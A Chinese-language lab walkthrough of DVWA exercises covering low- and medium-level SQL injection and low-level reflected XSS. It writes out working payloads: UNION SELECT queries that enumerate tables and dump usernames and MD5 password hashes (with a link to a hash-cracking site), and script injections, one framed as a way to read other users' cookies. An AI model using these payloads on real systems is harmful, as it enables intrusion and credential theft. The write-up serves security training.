一.SQL注入(low)

1.已知漏洞点如图所示,我们的实验目标是获得这个表中的用户名和登录密码,所以我们首先要知道这个表的列数。我们先注入一下
'or'1'='1

得到了五个用户信息,确定注入生效。
2.接着我们要去确定这个数据表的列数,这里的分隔符号只能用#,因为输入框里打的 +,浏览器提交时会把整个内容照原样编码,+ 传到服务器还是 + 本身,没有被解码成空格------所以注释没生效。我们可以修改by之后的数值,直到报错。然后最后一个没有报错的数值就是我们这个表的列数,确定为2

3.然后我们要确定出口:页面上哪几个位置会把查询结果显示出来。
1' union select 1,2#

得到信息:First name 是第 1 列的出口,Surname 是第 2 列的出口
4.然后我们要知道自己在哪一个数据库当中:确定当前库为dvwa
1' union select version(),database()#

5.接着我们要去查询这个数据库里面存在哪些表
1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#
但是这样查询的返回结果出现错误

这是 MySQL 5.7 经典的排序规则(collation)打架:我们查的 information_schema 目录库和 dvwa 库的字符编码规则不一致,UNION 拼接时对不上。
直接指定和 dvwa 库一致的排序规则:
1' union select convert(table_name using utf8) collate utf8_general_ci,2 from information_schema.tables where table_schema='dvwa'#

6.得到表的数据库的信息之后,我们直接去读取users表中的内容
1' union select user,password from users#

然后这里的Surname其实是md5密码,后面直接Md5解密就可以了,这里附一份MD5解密地址:https://www.somd5.com/
二.SQL注入(medium)

1.这个SQL注入的等级就要高一点,有一点难度了,就不是直接在这个框里面注入,而是要使用BP抓包进行注入。首先看这个题目,就只有一个选择用户ID的选项框,我们直接把这个页面的地址在BP内置浏览器中打开,然后随便选择一个ID,用BP抓包

2.我们在ID这个地方进行注入,和上面一个题目的思路方法是一样的,首先要判断有多少列。但是现在我们和之前的操作一样进行的时候发现这里存在报错,看报错细节:\ ' order by 2------ ' 被服务器加了反斜杠转义(这就是 Medium 的防御手段)。但注意报错里 ' 前面没有包着它的引号,说明 Medium 的 SQL 里 id 是裸拼进数字位置的:所以我们这里是不能存在单引号的

然后我们删除单引号之后继续执行这个操作返回结果正常

3.然后我们要继续查看两个位置的输出和上面一个题目是一样的,接着是查看数据库的信息,然后我们继续查看数据库中存在那些数据表,和上一题同样的操作
把后面的 Submit 参数也注释掉了,但服务端逻辑不依赖它所以不影响
id=1 union select convert(table_name using utf8) collate utf8_general_ci,2 from information_schema.tables where table_schema=database()#&Submit=Submit

4.得到这些信息之后去查看users表的内容,获得登录账户和密码,解决问题

三.XSS反射 (low)

1.一句话原理:SQL 注入是把 SQL 塞进数据库查询里,XSS 是把 JavaScript 塞进网页里------页面把你输入的内容原样回显出来,浏览器就把它当代码执行了。
2.在这里我们直接输入JS命令
javascript
<script>alert(1)</script>

把 alert(1) 里的 1 换成:可以得到别人的cookie
javascript
alert(document.cookie)
